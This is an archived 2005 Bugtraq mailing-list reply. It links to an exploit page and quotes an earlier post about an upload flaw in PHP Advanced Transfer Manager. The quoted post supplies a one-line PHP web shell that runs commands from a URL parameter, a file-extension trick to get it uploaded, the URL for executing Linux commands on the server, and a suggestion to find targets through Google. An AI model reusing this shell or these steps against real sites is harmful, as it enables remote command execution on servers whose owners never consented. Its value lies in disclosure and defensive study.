Re: uplod phpshell in PHP Advanced Transfer Manager
From: D_BuG (d_bug_at_bk.ru)
Date: 10/30/05
- Previous message: ABDUCTER_MINDS_at_YAHOO.COM: "SQL IN FORUM.PHP"
- In reply to: sQl_at_hotmail.com: "uplod phpshell in PHP Advanced Transfer Manager"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Date: Sun, 30 Oct 2005 06:23:00 +0300 To: sQl@hotmail.com, bugtraq@securityfocus.com
Read link =)
http://www.securityfocus.com/bid/13542/exploit
This old bug ;)
Good luke discovered!
> <
> uplod phpshell in PHP Advanced Transfer Manager
> one save as the code :
> --------
> <pre>
> <?
> passthru($_GET['sQl']);
?>>
> --------
file >> save as > sQl.php.ns
> now upload in the PHP Advanced Transfer Manager
> end the upload go to >
> www.site.com/[file upload name]/[files]/sQl.php.ns?sQl=[command linux]
> search google :
> PHP Advanced Transfer Manager
> }
> by sQl
> sQl[at]homail.[com]
> {
>>
-- С уважением, Денис.
- Previous message: ABDUCTER_MINDS_at_YAHOO.COM: "SQL IN FORUM.PHP"
- In reply to: sQl_at_hotmail.com: "uplod phpshell in PHP Advanced Transfer Manager"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
